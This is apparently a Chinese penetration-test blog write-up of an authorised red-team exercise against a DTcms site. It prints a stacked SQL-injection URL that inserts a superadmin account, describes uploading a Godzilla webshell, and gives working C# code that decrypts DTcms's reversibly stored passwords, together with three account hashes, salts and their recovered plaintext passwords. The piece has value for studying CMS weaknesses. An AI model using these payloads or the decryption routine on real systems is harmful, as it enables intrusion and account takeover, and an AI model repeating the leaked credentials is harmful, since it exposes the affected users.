<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記錄一次攻防演練中的代碼審計

    VSole2023-02-16 09:22:08

    在一次授權的攻防項目中,我和我的一個好兄弟在滲透過程中發現一個目標存在mssql注入,通過注入拿到了管理員的賬號和密碼

    當時我和我的好兄弟高興壞了,迫不及待的把拿到的數據進行解密(當時天真認為可以解密,馬上getshell)由于是攻防演練,并且報告提交的越早分數就會越高,何況還是getshell

    erui/E7B8D79CB1F8267E98411A1081B75FBD
    admin/154A70BBAD1377B256671E16CAF430ED
    lchh/262BA2BFC886B171B5488CA6E9F25BB8
    

    結果發現根本解不出,后來發現原來是加鹽MD5,想著先把鹽值找到或許就能有一線突破

    最終找到的鹽值和賬號對應如下:
    erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
    admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
    lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
    

    當時我和我兄弟在這里卡了半天,甚至是去網上搜索加鹽md5的破解,后面發現根本解不出來

    第二天

    我和兄弟那一晚上一夜未眠,想著各種法子去解密,網上各種辦法,各種腳本都試了一遍,發現完全不行,突然一下有個念頭一下子出來了,在上一次的攻防演練中,也是mssql注入,當時可以通過堆疊注入,自己插入一條數據,于是我們開始整理思路思路如下

    思路一

    通過堆疊注入插入一條數據,直接登錄(但是要自己找到一條加鹽Md5)搭建這個cms搭建起來,自己創建一個管理員賬號,然后插入進去

    思路二

    找到對應的cms或者是網站源碼,代碼審計,試圖找到加密流程或者是其他有用信息

    嘗試思路

    通過mssql注入的報錯信息可以判斷出為dtcms,于是我迫不及待的去github搜羅了一番,找到了其源碼,首先想到的搭建起來這個cms,由于對net環境的不熟悉,加上搭建后各種報錯,(讓我抑郁了很久)繼續信息收集,發現源代碼下面有個SQL文件,進去搜索找到一條加密的數據,并且前期信息收集到dtcms的默認密碼是admin888于是開始行動

    全局搜索salt

    INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超級管理員', N'13800138000', N'info@dtcms.net', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))SET IDENTITY_INSERT [dbo].[dt_manager] OFF
    插入payload如下:
    https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +
    插入的賬號為test 密碼是admin888
    

    登錄賬號

    登錄成功發現,權限為超級管理員,然后getshell(在某篇文章看到)文件上傳類型添加aspx,ashx,然后上傳相應的哥斯拉馬,直連即可

    最后我和我兄弟成功將這個站點拿下但是內心感覺還是空空的,先提交報告吧

    第三天

    我和兄弟越想越不舒服,我們思路二還沒試過呢,如果我們可以解密這個加密數據,是不是以后遇到類似的站點,假如不存在堆疊注入,豈不是不能插入數據,不行,必須得試一下,于是開始代碼審計

    .net基本知識

    .ashx一般是網頁文件。.cs文件一般是后臺邏輯代碼

    目前已有的數據

    erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ

    admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ

    lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

    代碼審計

    在DTcms.Web中找到login.aspx.cs。通過調用manager類中的GetModel方法來判斷是否登錄成功

    ps:這里BLL.manager()中BLL是一個命名空間。我們可以通過BLL這個名字在DTcms.BLL文件夾中找到manager.cs

    接著在manager類中的GetModel方法中,發現在登錄的時候會先從數據庫中獲得這個用戶的鹽值,然后根據輸入的密碼與鹽值調用DESEncrypt.Encrypt(password, salt)進行加密。后來知道了這里DESEncrypt是一個類,Encrypt是一個靜態函數,所以可以直接調用

    接著我們審計DESEncrypt中的Encrypt方法。在文件夾中搜索DESEncrypt,最終在DTcms.Common中找到了DESEncrypt類。加解密流程邏輯代碼不需要細看,只需要知道就是傳入密文和鹽值調用Decrypt函數即可得到明文。

    源碼如下

    using System;using System.Security.Cryptography;using System.Text;namespace DTcms.Common{
        /// <summary>
        /// DES加密/解密類。
        /// </summary>
        public class DESEncrypt
        {
            #region ========加密========
            /// <summary>
            /// 加密
            /// </summary>
            /// <param name="Text"></param>
            /// <returns></returns>
            public static string Encrypt(string Text)
            {
                return Encrypt(Text, "DTcms");
            }
            /// <summary> 
            /// 加密數據 
            /// </summary> 
            /// <param name="Text"></param> 
            /// <param name="sKey"></param> 
            /// <returns></returns> 
            public static string Encrypt(string Text, string sKey)
            {
                DESCryptoServiceProvider des = new DESCryptoServiceProvider();
                byte[] inputByteArray;
                inputByteArray = Encoding.Default.GetBytes(Text);
                des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                System.IO.MemoryStream ms = new System.IO.MemoryStream();
                CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
                cs.Write(inputByteArray, 0, inputByteArray.Length);
                cs.FlushFinalBlock();
                StringBuilder ret = new StringBuilder();
                foreach (byte b in ms.ToArray())
                {
                    ret.AppendFormat("{0:X2}", b);
                }
                return ret.ToString();
            }
            #endregion
            #region ========解密========
            /// <summary>
            /// 解密
            /// </summary>
            /// <param name="Text"></param>
            /// <returns></returns>
            public static string Decrypt(string Text)
            {
                return Decrypt(Text, "DTcms");
            }
            /// <summary> 
            /// 解密數據 
            /// </summary> 
            /// <param name="Text"></param> 
            /// <param name="sKey"></param> 
            /// <returns></returns> 
            public static string Decrypt(string Text, string sKey)
            {
                DESCryptoServiceProvider des = new DESCryptoServiceProvider();
                int len;
                len = Text.Length / 2;
                byte[] inputByteArray = new byte[len];
                int x, i;
                for (x = 0; x < len; x++)
                {
                    i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                    inputByteArray[x] = (byte)i;
                }
                des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                System.IO.MemoryStream ms = new System.IO.MemoryStream();
                CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
                cs.Write(inputByteArray, 0, inputByteArray.Length);
                cs.FlushFinalBlock();
                return Encoding.Default.GetString(ms.ToArray());
            }
            #endregion
        }}
    

    接著我們抄下DESEncrypt類中的解密代碼進行解密。注意這里得using System.Web,要引用System.Web.dll這個文件才能運行代碼。代碼段如下:

    payload

    using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Text;using System.Web;namespace ConsoleApp1{
        class Program
        {
            public static string Decrypt(string Text, string sKey)
            {
                DESCryptoServiceProvider des = new DESCryptoServiceProvider();
                int len;
                len = Text.Length / 2;
                byte[] inputByteArray = new byte[len];
                int x, i;
                for (x = 0; x < len; x++)
                {
                    i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                    inputByteArray[x] = (byte)i;
                }
                des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
                System.IO.MemoryStream ms = new System.IO.MemoryStream();
                CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
                cs.Write(inputByteArray, 0, inputByteArray.Length);
                cs.FlushFinalBlock();
                return Encoding.Default.GetString(ms.ToArray());
            }
            static void Main(string[] args)
            {
                System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));
                System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));
                System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));
            }
        }}
    

    最終得到明文

    erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
    admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
    lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
    

    總結

    通過這次攻防再一次加深了代碼審計的重要性,有時候就是一個突破點,還有就是和兄弟在審計中遇到的困難,一次次被突破,那種感覺真的很爽!!

    stringsystem
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前段時間Confluence發布了CVE-2021-26085補丁,剛好之前分析過Confluence的漏洞,免去了搭建漏洞分析環境的麻煩,因此分析下這個漏洞。 分析過程 漏洞點定位 這個漏洞爆出來已經有一段時間了,所以已經有公開的POC了
    記一次APP登錄爆破
    2022-08-05 15:14:01
    前言某次攻防演練中,在前期信息收集的時候找到了一款客戶銷售APP,沒有注冊接口,通過收集目標APP的內部員工手機號,對其進行口令爆破。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    協議分析實戰
    2022-08-18 16:56:24
    協議分析是逆向技術中的一個重要技能,本篇文章先分享3個app。這里我打算搜索post請求中的v2/member,和"system_name"。然后看這個device_id就是表示手機的串號:是這樣聲明的:就是返回手機的型號,沒有什么好說的。然后下一個就是本機IP地址,還有時間timestamp,siteid站點標識符定值10001,系統名稱system_name,型號type是Android的。這樣的話第一個app的協議字段到此就分析完了。第二個app:我輸入的用戶名是kanxue,密碼是kanxue123。
    初識Java反序列化
    2022-06-10 08:49:49
    研究某產品反序列化EXP時,搜集到的POC只有一段16進制字節序列難以利用,遂有下文對Java序列化和反序列化的學習。 大致內容如下: 序列化和反序列化示例 序列化數據組成解構 反序列化漏洞形成原理
    近日,奇安信威脅情報中心注意到外國安全廠商humansecurity在外網揭露了一個名為BADBOX的事件,其報告稱觀察到至少觀察到74000 部基于 Android 的手機、平板電腦、和全球聯網電視盒有遭遇BADBOX 感染的跡象;而來自趨勢科技的說法是該后門據信被植入了2000萬數量級別的設備。實際上,humansecurity在其分析報告中已經對該事件進行了比較詳細的技術分析,各位如果有興
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类